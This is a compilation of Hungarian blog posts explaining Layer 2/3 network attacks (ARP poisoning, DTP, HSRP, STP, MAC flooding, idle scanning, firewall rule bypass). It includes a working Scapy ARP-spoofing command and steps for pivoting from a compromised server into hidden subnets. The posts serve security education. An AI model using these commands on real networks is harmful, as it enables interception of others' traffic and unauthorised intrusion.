Másodfokon… (ARP és barátai)

Ebben a bejegyzésben a TCP/IP univerzum második rétegéről lesz pár szó. A pár szó szó szerinti (elég hülyén néz ki így leírva), a teljes leírás könyvet érdemelne… (ahogy van is ;)). A legtöbb felhasználó nem sok fogalommal rendelkezik erről a rétegről (miért is kellene tudnia?), és sajnos a rendszergazdák többségének is csak halvány, hozzávetőleges fogalma van az itt zajló dolgokról 😦 Ezt a tendenciát sajnos a nagy cégek is erősítik, igen kevés olyan komplex védelmi rendszer van ami ezen réteg védelmét látná el, koncentrálva a kliens forgalomra. Pedig igény is lenne rá, illetve a hasznosságát sem lehet elvitatni, ugyanis ezen a rétegen igen nagy problémákat lehet okozni, minimális tudással felfegyverkezve. A legtöbb, egyéb rétegben dolgozó alkalmazás ‘szentírásnak’ veszi az L2 által közölt adatokat, így igen érdekes dolgokat eredményezhet ezen réteg célzott támadása.

Per pillanat ebben a bejegyzésben csak a legfontosabb, legalapvetőbb protokollok szerepelnek. A részletes támadási formákról később, egyenlőre csak fedezzük fel, s ismerjük meg említés szintjén őket…

ARP (Address Resolution Protocol)
Legrégebbi, s egyben legfontosabb protokoll. Ezen protokoll segítségével tudják a hálózati eszközök a MAC címeket és az IP címeket egymáshoz kapcsolni. Korából adódóan (szokás szerint 😦 ) nem tartalmaz hitelesítést és titkosítást, a teljes bizalmon alapul. Ezt (és a gratuitous ARP funkciót: az ARP válasz broadcastra megy, akihez eljut a válaszban közölt információkat eltárolja) kihasználva a támadó úgynevezett ARP poisoning támadást tud kivitelezni. A támadás lényege, hogy két kommunikáló féllel elhiteti, hogy Ő a másik, s ezáltal a köztük futó kommunikáció rajta keresztül áramlik.

DTP (Dynamic Trunking Protocol)
A legérdekesebb állatfajta, és egyben a leghasznosabb is 🙂 A DTP szolgál arra, hogy a switchek egymást közt le tudják beszélni a trunk port(ok) paramétereit. Nemcsak globálisan, hanem port szinten is lehet/kell állitani. Ezáltal egy érdekes kiskapura lehet találni: kis unszolásra a támadó rá tudja beszélni a switchet, hogy a portot kapcsolja trunk üzemmódban. Ezek után, ha a portot megfelelő módon teggeli, a támadó egyéb VLAN-okba is bele tud hallgatni…

HSRP, VRRP (Hot Stand-by Redundancy Protocol, Virtual Router Redundancy Protocol)
Mindkét protokoll feladata hogy több router összekapcsolását végezzék el, transzparensen, redunáns módon a default gateway funkció számára. Ha az aktív router kiesik, feladatát átveszi a sorban következő, a felhasználó számára észrevehetetlenül. MiTM (és ebből adódóan DOS) támadásra is lehetőséget adnak, mivel egyik protokoll sem tartalmaz hitelesítést. Ezáltal könnyen kivitelezhető az a lehetőség, hogy a támadó behazudja magát a legnagyobb priorítású helyettesítő routernek, majd valamilyen technológiával kiüti az elsődleges routert. Így a teljes forgalom átkerül a támadóhoz…

RSTP (Rapid Spanning Tree Protocol)
Az ARP mellett a legfontosabb protokoll a rétegben. Ezen protokoll felelős, hogy a hálózatban lévő feszítőfa a lehető leggyorsabban, és a lehető legkisebb erőforrással felépíthető legyen. A protokoll a STP protokoll utódja, azzal visszafele kompatibilis. Ezen protokoll manipulálásával elvégezhető legegyszerűbb támadása forma, ha a már meglévő fát  összezavarjuk, helytelen access pontokat jelölünk ki. Ebben az esetben még a nagy fizikai redundanciával rendelkező hálózatok is összezavarodnak, s nem az elvárt működést produkálják. Kifinomultabb módja a támadásnak ha célzottan avatkozunk be a fa felépítésébe, s magunkat nevezzük ki, akár a fa gyökerének, akárcsak egy rész csúcspontjának. Ekkor minden (abban a fa-részben) forgalom a gépünkön fog áthaladni… Elméletben ennek helyes megvalósítása egyszerű, azonban a gyakorlatban gyorsan szembesülni fogunk azzal a problémával, hogy mit is kezdünk több gigabitnyi forgalommal… 😉

 

 

 

Idlescan, és ami mögötte van #1

Első körben az nmap küld egy halom SYN/ACK keretet az eszköznek (amiből majd a zombie gép lesz), és figyeli az RST válaszokat (itt az IPID értéke az érdekes, ennek következetesen növekvőnek kell lennie). Ekkor még nincs semmiféle kommunikáció a célgéppel!
iz_1A trace kimenet, figyeljük meg az IPID értékének növekedését (jobb olvashatóság miatt formáztam a kimenetet egy kicsit):

Source           Destination      Summary 
-----------------------------------------------------------------------------------------
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=1592
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0994 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=2012
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0995 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=9228
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0996 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=5056
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0997 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=6306
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0998 <--
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10]  LEN=20 ID=1468
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10]  S=[192.168.0.100] LEN=20 ID=0999 <--

Miután a forrásgép és a leendő zombie gép közt a kommunikáció sikeres volt, az NMAP meghamisítja az IP címet a célállomás részére, és kommunikációt még 4 alkalommal megismétli. A trace filet megvizsgálva észrevehetjük, hogy a forrás cím hamisításra került (a célgép IP címét vette fel), és erre az IP címre válaszol a zombie gép! A forrásgép SOHA nem látja a visszakapott válaszokat!
iz_2

Source           Destination      Summary 
-----------------------------------------------------------------------------------------
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=3940
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1000 <--
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=8034
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1001 <--
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=3069
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1002 <--
[192.168.0.200]  [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.200] LEN=20 ID=3373
[192.168.0.100]  [192.168.0.200]  IP:  D=[192.168.0.200] S=[192.168.0.100] LEN=20 ID=1003 <--

Mivel a forrásgéphez nem érkeznek meg a csomagok, az nmap nem tudja megállapítani, hogy a hamisítás megfelelően működött. Ezért az nmap lekérdezi a zombie gépet, hogy frissítse az IPID értéket:
iz_3

Source           Destination      Summary 
---------------------------------------------------------------------------------------
[192.168.0.10]   [192.168.0.100]  IP:  D=[192.168.0.100] S=[192.168.0.10] LEN=20 ID=6267
[192.168.0.100]  [192.168.0.10]   IP:  D=[192.168.0.10] S=[192.168.0.100] LEN=20 ID=1004 <--

Az IPID értéke 1004, amire vártunk 😀 Most, hogy az IPID elemzés befejeződött, az nmap elkezdheti a célgép szkennelését.

packet-fu 4.

Az előző packetfu postokban a layer3 és 4 magasságában mozgolódtunk, most elmaszatolunk a 2-esen is egy kicsit. Ez a post elsősorban az ethernet, és routing lehetőségeit kapirgáltuk. Az eddig leírt módszerek magasabb layereken dolgoznak, de lehet az L2-n is sumákolni. A post első felében a layer2: a switch, és Ethernet témát piszkáljuk. Nincs benne semmi fu, de a kung-fu-nak sem a verekedés a lényege. (Ezt a Kung-fu pandában hallottam. Jó film.) Szóval kellenek az alapok is. Tudom hogy sok mindenkinek ezek nem mondanak újat, de olyanok is olvassák akiknek ezekből nem volt meg minden, a hackelés alapja pedig a megismerés. Lesz azért némi fu is.

Ethernet frame

ethernet-frame

Így néz ki egy Ethernet frame (magyarosan keret, a hálózati csomag adatkapcsolati megfelelője), ha találkoztál már vele – mondjuk Wiresharkban -, akkor a 7+1 byteos Preamble és a 4 byteos CRC esetleg új lehet. Ezekkel nem találkozunk snifferben mert csak a hálókártya számára szolgáltatnak releváns információt: Mivel a küldő és a fogadó fél rendszerórája nem egyszerre jár, ezért szükség van némi szinkronizálásra, erre szolgál a Preamble. Mielőtt a hálókártya kiküldi a csomagot, számol rá egy CRC-t, a fogadó hálókártya ez alapján fogja tudni ellenőrizni hogy nem sérült-e. A fejlécben a cél és a forrás MAC cím, +2 byte az Ethertype már valószínűleg ismerős.

Az Ethertype még az érdekes, ez mondja meg hogy milyen típusú a payload, milyen protokoll van a framen belül. Néhány ismertebb:

0x0800 IPv4
0x0806 ARP
0x8100 802.1Q / VLAN taggelt frame
0x814c SNMP
0x86dd IPv6

A MAC address 6 bytejából, ebből az első 3 az OUI vagy Company ID. Ebből vissza lehet keresni a gyártót, akár googleba “mac vendor lookup” kulcsszavakra, vagy az ieee.org-on.

Switch és Ethernet

Egy switch egy L2 device, csak az Ethernet framekkel foglalkozik, ez alapján dobálja a portjai között a csomagokat, és semmit se tud a világ igazságtalanságairól. Az egyszerűbbeken semmiféle konfigurálási lehetőség nincs, ezeket általában otthoni hálózatban vagy kis irodai környezetben használják, unmanaged switch néven emlegetjük őket. Ezek meglehetősen naív teremtmények, csak azt tartják számon, hogy melyik porton milyen MAC címekkel találkoztak. Az ezeket az összerendeléseket számontartó adatstruktúrára CAM táblaként (Content Addressable Memory), MAC táblaként, filtering databaseként szoktak hivatkozni. A Wiley féle Switch Book kicsontozza a switchek lelkületét.

A switch amikor valamelyik porton kap egy frame-t, a táblában rögzíti, hogy a küldő MAC cím ezen a porton forgalmaz, és utánanéz a táblában hogy a címzett MAC-et melyik porton látta utoljára, és arra küldi tovább a framet. Ha olyan MAC a címzett ami nem szerepel a CAM táblában akkor azt a csomagot minden portra kiküldi, a CAM mérete viszont korlátozott. Erre alapoz a MAC flood támadás, ami random source MAC címekkel teleszemeteli a CAM-et, így a minket közvetlenül kiszolgáló switch-en keresztülmenő összes forgalmat megkaphatjuk (ez önmagában lehallgatásra jó, közbeékelődésre még nem). Adsniff csomagból a macof nevű tool pont erre lett kitenyésztve.

A Port Security úgy oldja meg ezt a problémát, hogy egy bizonyos porton nem enged forgalmazni csak meghatározott MAC címeknek, de ez túlmutat a nem-menedzselt switchek képességein. Erre még visszatérünk. Ha ettől eltérővel próbálkozik valaki azon a porton, akkor vagy nem engedi át, vagy kap a port egy shutdown-t, és akkor ott van vége a kísérletezgetésnek, bár a korlátozás alapvetően elég egyszerűen, a megfelelő MAC beállításával átléphető.

VLANok

Nagyobb hálózatokban már felmerül az igény az egymástól szeparált virtuális LAN-ok, vagyis VLAN-ok használatára, ezekhez viszont ennek megfelelő eszközökre van szükség. A managed switcheknél megvan ez a lehetőség, de egy kicsit mélyebb zseb kell hozzájuk. Dióhéjban arról szól a történet, hogy a végpontok és a switchek között standard ethernet framekbe csomagolva történik a kommunikáció, de a switchek és routerek között ezeket a frameket megtoldják még néhány bytetal, azaz feltaggelik a framet.

802.1Q_1

A képet a ciscoiseasy.blogspot.hu-ról csórtam, ami egyébként egy tök jó resource Cisco témában. ^__^

Amikor egy switch kap egy Ethernet framet az egyik végpont felől, az kap egy új Ethertype mezőt 0x8100-al, ezt követi a 4 byteos 802.1Q header, és a hálózatnak a VLAN-aware részén így fog közlekedni a frame. Amikor valamelyik switchnél elhagyja a csomag a hálózat VLAN-aware szegmensét, leszedi róla a taget (visszakapjuk az eredeti csomagot), és így küldi tovább. A VLAN tag 12 bites, így összesen 4096 VLAN-t lehetne használni, de a 0x000 és a 0xFFF kimarad a játékból, így csak 4094-et. A VLAN-aware hálózaton egy taggeletlen csomag a natív VLANhoz tartozik.

Az hogy egy végpont melyik VLAN-hoz tartozik, a switchen vagy port, vagy MAC cím alapján kerül meghatározásra. Onnantól fogva azon a porton vagy azzal a MACkel érkező framek egy megadott vlanra lesznek feltaggelve. A switchek és routerek egymás között trunk portokon beszélgetnek, tehát egy trunk portról bármelyik VLANhoz hozzá lehet férni. A VLAN taggelésről a IEEE 802.1Q szól.

Port stealing / CAM table poisoning

Maga a port stealing kizárólag a switch CAM tábláját érinti, így az áldozat számára kb teljesen észrevehetetlen. Mint azt már fent említettem, a switch a source MAC addresst asszociálja a CAM táblában a megadott porthoz.

A módszer lényege hogy a célpont MAC címével forgalmazunk frameket, az tökmindegy mi van benne. A switch ekkor a mi, azaz a támadó porján fogja látni azt a MACet, és az annak küldött framek ezen a porton fognak landolni. Viszont eközben az áldozat is forgalmaz, ami bekavar a támadásnak, ezért a kamu frameket folyamatosan küldözgetni kell. Máshogy fogalmazva: a switch mindig arra a portra küldi a forgalmat, amelyiken a legutóbb látta a címzett MAC-et. A támadás természeténél fogva port security esetén ez a módszer nem használható.

http://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf

Routing mogyoróhéjban

Szó lesz most a routingról, és routerről. A routing a kernel dolga, ez az a varázslatos kód, ami a forgalmat terelgeti. A router Layer3 eszköz: míg a switch a fizikai portok között dobálja a frameket, a router a hálózatok között dobálja a paketokat.

Szeretnénk megpingelni a szomszéd gépet a LAN-ban aki a 192.168.1.3. Tudjuk a cél IP-t, de ez minden. Egyáltalán melyik interfacen küldjük ki a stuffot? Mi legyen a destination MAC?

Először is van egy routing táblánk.

# route -n
Kernel IP routing table
Destination   Gateway        Genmask       Flags Metric Ref Use Iface
192.168.1.0   0.0.0.0        255.255.255.0 U     0      0   0   eth0
192.168.2.0   0.0.0.0        255.255.255.0 U     0      0   0   eth1
0.0.0.0       192.168.1.254  0.0.0.0       UG    0      0   0   eth0

Ha az 192.168.1.3 -at szeretnénk megpingelni, akkor így első ránézésre az eth0 lesz a nyertes interface, mivel arrafele van egy 192.168.1.0/24-ünk, de a kernel nem úgy van vele mint én, hogy ránéz és azt mondja hogy “szerintem arra”… A kernel a FIB táblából (a route parancs alapból ezt mutatja) a Longest [Length] Prefix Match algoritmus alapján fogja tudni eldönteni hogy melyik a legmegfelelőbb irány. Ez tömören annyit jelent, hogy az lesz a nyertes interface, akinél a legtöbb bit egyezik. Esetünkben…

192.168.1.3      11000000.10101000.00000001.00000011
192.168.1.0/24
   11000000.10101000.00000001.00000000 /eth0
192.168.2.0/24   11000000.10101000.00000010.00000000 /eth1

…az eth0 az. Ha lenne még egy interface (mondjuk eth2) ami tud egy 192.168.1.0/28 -ról, akkor az lenne a nyertes, mivel a netmask több bitet fed le.

192.168.1.3      11000000.10101000.00000001.00000011
192.168.1.0/24
   11000000.10101000.00000001.00000000 /eth0
192.168.2.0/24   11000000.10101000.00000010.00000000 /eth1
192.168.1.0/28   11000000.10101000.00000001.00000000 /eth2

De nincs ilyen, ne bonyolítsuk. eth0 és eth1 van. Ott tartottunk, hogy megvan az interface hogy melyikre küldjük ki a framet. Ehhez az interface-hez tartozik egy IP cím, és egy MAC address; Ez lesz a L3 vagyis az IP csomagban a src IP cím, és a L2-n pedig az ethernet headerben ez lesz az src MAC. Jelen pillanatban ott tartunk hogy az ICMP megvan, bele tudjuk pakolni egy IP csomagba, amit belegyömöszölünk még egy ethernet frame-be. Az a baj hogy még mindig nem tudjuk hogy mi a destination MAC…

Várj.. Biztos hogy nem tudjuk? Van nekünk egy ARP táblánk is pont az ilyen esetekre. Nézzünk bele.

# arp -n
Address       HWtype  HWaddress           Flags Mask   Iface
192.168.2.44  ether   00:65:1c:c4:77:12   C            eth1
192.168.1.254 ether   00:23:f4:dc:4f:01   C            eth0

Hát nem. Sajnos. Márpedig amíg nem ismerjük a destination MAC-et addig elküldeni sem tudjuk azt a pinget az 192.168.1.3 -nak, szóval valahogy meg kéne tudni. Na erre való az:

ARP

Az ARP annyit tesz mint Address Resolution Protocol. Már tudjuk hogy melyik interface felé érjük el az 1.3-at, úgyhogy ezen kiküldünk egy framet ami a következőképpen épül fel: Az Ethernet frame src MAC -je az interface MAC címe lesz, a destination MAC pedigFF:FF:FF:FF:FF:FF, (szóval broadcast) amit a switch minden portjára ki fog küldeni, ergo mindenki megkapja, remélhetőleg az is aki magáénak tudja a 192.168.1.3-at. Az ethernet frame ethertype-ja 0x0806 azaz ARP. A framen belül már az ARP request figyel. Így néz ki az ARP packet.

ARPDatagramAz ARP request tartalmazza a küldő MAC és IP címét, valamint a címzett IP címét. Erre a csomagra fog válaszolni a címzett a küldőnek egy ARP replyvel, amelyben a source az ő saját MAC és IP címe. Szóval ebben a pillanatban ha minden simán ment akkor a 192.168.1.3 küldött nekünk egy ARP replyt amely tartalmazza a MAC address-t amely birtokában már elküldhetjük azt a nyavalyás pinget. ^__^

Így működik normál körülmények között.

ARP poisoning

Ez megint csak egy MitM támadás. Az a lényeg hogy a hálózat két szereplője között eltérítjük a forgalmat úgy, hogy rajtunk haladjon keresztül. Vannak mindenféle toolok amik elvégzik ezt a feladatot, én mégis azt mondom jobb ha kézzel rakjuk össze, mert abból lehet tanulni. A dsniff csomagból az arpspoof nevű kis tool pl. pont erre való, és elég egyszerű használni is, de nem szeretem. A játékosok: 1.1 a gateway, 1.2 mi vagyunk, 1.3 az akiről szeretnénk megtudni hogy mit beszélget az internet felé. Azt szeretnénk ha a célpont nekünk küldené azokat a csomagokat amelyeket a gateway-nek szeretne küldeni. Mielőtt még bármi huncutságot csinálnánk, routerré kell változnunk, különben az áldozat által küldött csomagok soha nem érkeznek meg a rendeltetési helyükre. Linuxon ez az

echo 1 > /proc/sys/net/ipv4/ip_forward vagy a sysctl net.ipv4.ip_forward=1 parancs kiadásával érhető el.

Windowson a

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\ alatt azIPEnableRouter értékének 1-re változtatásával.

A következőképpen kell kinéznie ennek a csomagnak:

  • a source MAC a mi interfaceünk címe, most nálam 9c:a1:34:25:00:01
  • a source IP-nek a gatewayt hazudjuk be, szóval 192.168.1.1,
  • destination MAC az áldozat MAC címe, ez most 00:1c:c0:fc:bd:b7
  • destination IP az áldozat IP-je, a 192.168.1.3

Akkor mostmár minden megvan, rakjunk össze egy ilyen gonosz kis meglepit, és küldözgessük mondjuk másodpercenként. Scapy, és nincs többé korpa, csak gyönyörű, dús haj:

>>> sendp(Ether(dst="00:1c:c0:fc:bd:b7") / ARP(op=2, \
hwsrc="9c:a1:34:25:00:01", hwdst="00:1c:c0:fc:bd:b7", \
psrc="192.168.1.1", pdst="192.168.1.3") \
inter=1, count=-1)

Jelen pillanatban az áldozat gépének ARP táblája szerint a gateway MAC címe a miénk, így a gw-nek címzett csomagok mind áthaladnak rajtunk.

C:\Users\Innocent Civilian>arp -a 192.168.1.1

Interface: 192.168.1.3 — 0xb
Internet Address   Physical Address    Type
192.168.1.1        9c-a1-34-25-00-01   dynamic

Mondanom sem kell hogy ezzel csak azt látjuk amit a kliens küld, ami a router felől jön azt már nem, szóval ahhoz, hogy a csóró áldozatunk full forgalmát eltake-eljük a routernek is el kell kezdeni hazudni… de ezt már eleget fejtegettük, úgyhogy ezt nem fogom bekopogni.

GWScan

Legyen a scenario az hogy bevertünk valami szervert:
IP: 1.2.3.4
netmask: 255.255.255.0 (-> net: 1.2.3.0, broadcast: 1.2.3.255)
gw: 1.2.3.254

Van mellette még jópár gép de azokon nem találtunk fogást… legalábbis kintről. Most egy kicsit más helyzetbe kerültünk, annak fényében hogy tudunk játszani a L2-vel, és a routolással is. L2 helyett most inkább routolással játszunk.

A hálózaton lévő egyik-másik vas mögött talán van valami egyéb infrastruktúra: mittudomén, backend szerverek, adatbázis szerverek, office háló, vagy akármi… Még nem tudjuk, de szeretnénk megtudni. “Mindig izgis amikor ismeretlen helyeket kell felderíteni.” – Shackleton 🙂 Azt, hogy milyen hálózatokat ismernek az egyes gépek többféleképpen is kideríthetjük. A legkézenfekvőbb gondolat belesniffelni a kábelbe – amit a jól bekonfolt gépek teleböfögnek ARP requestekkel -, de ennél azért többet szeretnénk.

A packet-fu 1. -ben ismertetett timestamp-fu már sokkal átfogóbb képet tud adni, hiszen kb. tetszőleges címről megmondható így hogy ismeri-e azt a célgép vagy sem. Azt is be lehet vele lőni, hogy hogy van felosztva az a subnet amire egyébként nem látunk rá ugyan (még), de legalább már tudjuk hogy van. Már csak azért is powa feature ez, mert anélkül mappeled fel a subneteket és broadcastokat hogy akár egyetlen packetet kéne küldened abba a hálóba, szóval pl. ha ott van egy IDS akkor az nem fogja látni a kis mappelésünket.

A gwscan már erősen offenzív, de mégsem annyira mint L2-n garázdálkodni. Azokat a hostokat keressük akik routerként funkcionálnak, szóval az ip_forward = 1 (mert mondjuk ők a gatewayei a mögöttes subnetnek). A módszer lényege abban áll, hogy olyan packetokat küldünk a hostoknak amelyekben a feltételezett másik hálózaton csücsülő hostokat szólítjuk meg valamilyen módon. Ha futtattunk előtte egy tcpdumpot akkor már lehet képünk arról hogy miket keressünk elsőnek. A legegyszerűbb megpingelni őket. A leghatékonyabb ha broadcast MAC-re küldjük, de ha esetleg ellenérzésünk lenne amiatt, hogy vadbarom módjára teleordibáljuk a hálót (mint a debreceni főteret a hőbörgős hónaljszagú részeg tizenévesek szombat esténként), akkor az teljesen érthető. Rendes ninnya nem kajabál. Beszéljenek inkább a példák…

>>> a,u = srp(Ether(dst="ff:ff:ff:ff:ff:ff") \
/ IP(dst="192.168.*.1") / ICMP() ,timeout=2 )

>>> for p in a: p[1].sprintf("%Ether.src% %IP.src% %ICMP.type%")
'00:17:df:26:e5:b0 192.168.0.1 echo-reply'
'00:17:df:26:ec:b0 192.168.2.1 echo-reply'
'00:17:df:26:ec:b0 192.168.12.1 echo-reply'
'00:1e:67:80:1c:a1 192.168.13.1 echo-reply'
'00:1e:67:f5:cc:10 192.168.40.1 echo-reply'
'00:17:df:26:ec:b0 192.168.168.1 echo-reply'
'00:17:df:26:ec:b0 192.168.169.1 echo-reply'
'00:25:90:c2:11:de 192.168.173.1 echo-reply'
'00:17:df:26:e5:b0 192.168.200.1 echo-reply'

(Csak a példa kedvéért 192.168.*.1, nyilván nézhetsz más hálókat is meg full /16-ot is végig pingetheted, vagy kitalálhatsz valami kultúráltabb megoldást is.)

Most csak azt sikerült megtudnunk, hogy milyen MAC addressről jöttek (mármint a gateway MAC-jei ezek) a packetek. Ahhoz, hogy tovább tudjunk lépni, először csinálunk egy listát arról hogy a subneten melyik IP-hez milyen MAC tartozik, ez tök egyszerűen ARP kérésekkel megvalósítható. Ebben megtaláljuk hogy a kiboldozott 00:1e:67:f5:cc:10 MAC címmel -mondjuk- az 1.2.3.10 rendelkezik. Az óriáskövetkeztetés hogy az 1.2.3.10 mögött van egy 192.168.40.1 gép egy valamekkora subneten. Majd azt is kiderítjük.

Most már minden infó megvan ahhoz hogy elkezdjük penetrálni a 192.168.40.x -et, úgyhogy nincs más hátra, mint hogy vegyük fel a gépen a route szabályt. miszerint a192.168.40.0/24 -et a 1.2.3.10 -en keresztül lehet elérni.

# route add -net 192.168.40.0/24 gw 1.2.3.10

Innentől fogva “szabad az út” a 192.168.40.0/24 felé, lehet garázdálkodni.

# nmap -sP 192.168.40.0/24

Starting Nmap 5.00 ( http://nmap.org/ ) at 2013-09-10 17:37 CEST
Host 192.168.40.1 is up (0.00042s latency).
Host 192.168.40.2 is up (0.00042s latency).
Host 192.168.40.3 is up (0.00034s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 4.12 seconds

Ennek a postnak most itt a vége, de még így is jobb lovestory mint a Twilight. 🙂 h

Átemelve http://buhera.blog.hu/2013/12/07/packet-fu_538

packet-fu 3.

Ott hagytuk abba előző postban hogy fókuszáljunk a bypassra L3 és L4en. Néhány általános gondolat mielőtt nekiállunk játszani. Egy negatív modell tűzfalat jóval könnyebb elcseszni: Ha packetolással megyünk neki, jobb eséllyel bypassolható mint egy plusszos. Egy plusszos tűzfalon sokkal nehezebb kapaszkodót találni. A kulcsszavak: feltételezés, vizsgálat, kizárás – addig amig sikerül leszűkíteni a lehetőségeket. Valamennyire lehet automatizálni de nincs klisé, nyitott szemmel kell járni, és megkérdőjelezni azt is ami nyilvánvaló.

Ami kimarad…

Szívesen írnék IPv6-ról, de nem tehetem mert még nincs hozzá elég manapontom. :” Úgyhogy bármennyire is adja magát, ez kimarad. Szintén kimarad a NATolás, mert az is kitesz egy postot, úgyh azt majd valamikor ezután.

Egyszerűen meg van oldva a probléma, ha valamilyen szolgáltatás/alkalmazás (L4 fölött bármi) tulajdonságait, hibáját kihasználva tudunk landolni a tűzfal mögött, ami itt már jó eséllyel nem fog közbeszólni. App layer fw se mindig fogja meg a common attackokat, egyes toolok meg bypassra is be vannak tanítva. Ezt a vektort sem piszkáljuk, mert valami magasabb layeren kéne randalírozni, de ez most paketolós post.

Megkerülés?

A szolgáltatások/szerverek konfigjában sokszor defaulton marad a “hol_listeneljek” opció -ami önmagában is rossz hozzáállás-, tipikusan “0.0.0.0”. Egy szervernek lehet több címe, de nem biztos hogy mindegyiket fogja a tűzfal. Tehát meg kéne tudnunk hogy milyen címeket tud még magáénak. Ha van egy darab port ami nincs filterezve és válaszol, (nemkell nyitott portnak lennie, lehet zárva, tökmindegy csak válaszoljon) akkor a packetfu1.-ben leírt timestamp-fu segítségével fel lehet mappelni hogy milyen IP-k tartoznak még hozzá.

Ha már IPoptionsnál járunk akkor szokták még emlegetni hogy az IPoptions/LSR|SSR(Loose|Strict Source Routing) segítségével megadhatjuk hogy milyen úton haladjon a csomag a célpontig, így bizonyos esetekben lehetőséget adhat a tűzfal kijátszására. A neten nagyon kis eséllyel jön szembe, mivel a legtöbb router és OS defaultból tiltja, mivel meredek security vonzatai vannak. Ahelyett hogy a lehetőségeit feszegetnénk, vizsgáljuk inkább meg a működési mechanizmusát: Az options-ben fel vannak sorolva ugye a címek amelyeken keresztül kell haladnia a csomagnak. Amikor egy host megkapja, megnézi hogy a pointer által mutatott cím az övé-e, és ha igen, akkor lecseréli az IP destination addressét erre (,illetve a source IP-t beleírja az aktuális pozicíóba, majd lépteti a pointert). Most lehet hogy felkapod a fejed, hiszen egyrészt utazás közben folyamatosan változik az IP src és dst, másrészt a TCP checksum kiszámoláshoz kell ugye a src és a dst is az IP-ből. Miközben a packet utazik a hálózaton, a TCP checksum végig hibás, csak akkor válik helyessé amikor eléri a célt.

Nekem még eddig sosem volt szerencsém a source routinggal. Itt van két prg: lsrscan éslsrtunnel amivel el lehetne játszani, de nekem nem akarta azt az igazságot amit én akarok… bár nem is nagyon erőltettem. IP optionsba kézzel összerakni (lábbal hogy?) sem bonyolultabb mint a timestampet. Itt és itt utána lehet nézni.

Elég gyakori hogy egyik másik szolgáltatás elérhetősége forrás IPre/netre van korlátozva. Nos, ez többnyire rossz hír, vagy legalábbis addig az, amíg nem tudsz a megfelelő tartományból/hostról érkezni. Feltéve hogy tudod mi a megfelelő. Itt kezdődnek a problémák. Nagyban kontextusfüggő, de segíthet egy jó hálózati térkép, esetleg bármilyen infoleak az alkalmazásrétegen vagy protokollokban. Erre nincs recept. :/

Ha tudod hogy honnan enged a tűzfal, akkor egy picivel közelebb vagy. Ha van source routing, akkor elméletben ezzel meg lehet ütni, de ezt nem volt alkalmam saját szememmel látni, kitapasztalni. Kézenfekvőnek tűnik felpattintani egy vasat ahonnan engedve van. Az is megoldás lehet ha abban a tartományban fel tudsz venni egy IP-t, vagy bele tudsz mocskoskodni a routolásba, de sekély esély. Spoofolás még szóba jöhet, de egyrészt ahhoz is tudni kell hogy honnan engednek a ruleok, másrészt nem látod a választ, tehát tcp kapcsolatot sem fogsz felépíteni. Spoofolással max azt tudod elérni hogy egy okos tűzfal appliance kitiltja a “malicious” IP-t.

A Barracuda balhéból leakelt iptables szabályok úgyis most volt nemrég. Első észrevétel hogy negatív security model, default accept. (oké, pszeudopozitív mert ott van a végén a drop) Második észrevétel hogy csak bizonyos hálózatok felől engedi az ssh-t: Ha ezek közül sikerül megpukkantani egy címet -mindegy hogyan- akkor -az advisory szerint- effektíve nincs többé tűzfal. Arról már nem is beszélve hogy a –tcp-flags -es szabályokat leárnyékolják az előtte lévők… (rule shadowing, anomália.)

Hibás szabályok

Amikor hibás szabályokat emlegetek akkor többnyire nem egy-egy hibás szabályt értek, a teljes szabálykészletre gondolok. A szabályok egyesével lefednek kisebb-nagyobb felületeket, de a szabályok összessége, a teljes szabálykészlet az ami végül meghatározza hogy a tűzfal mit enged és mit nem. A szabálykészletet sokféleképpen el lehet cseszni, de az eredmény mindig ugyanaz: nem biztosít megfelelő fedést. Én most a netfilter/iptables -el fogok példálózni. Ennek a felépítésről, működéséről egy nagyon zsivány kis összefoglaló itt.

Valami howtoból pár sor:

01- [bash]# iptables -P INPUT DROP
03- [bash]# iptables -P OUTPUT DROP
06- [bash]# iptables -A INPUT  -i ppp0 -p tcp --sport 80 -j ACCEPT
07- [bash]# iptables -A OUTPUT -o ppp0 -p tcp --dport 80 -j ACCEPT

A ppp0 oldalán élő rossz emberek minden további nélkül megtehetik hogy a 80-as portól kezdeményeznek kapcsolatot a local szolgáltatásokhoz. Hiába DROP policy, a source portot én adom meg. Ez a –sport-os bénázás ebben a kiszerelésben jónéhány tutorialbanvisszaköszön.

# from dmz to internal
iptables -A dmz-good -p tcp --dport smtp -j ACCEPT
iptables -A dmz-good -p tcp --sport smtp -j ACCEPT

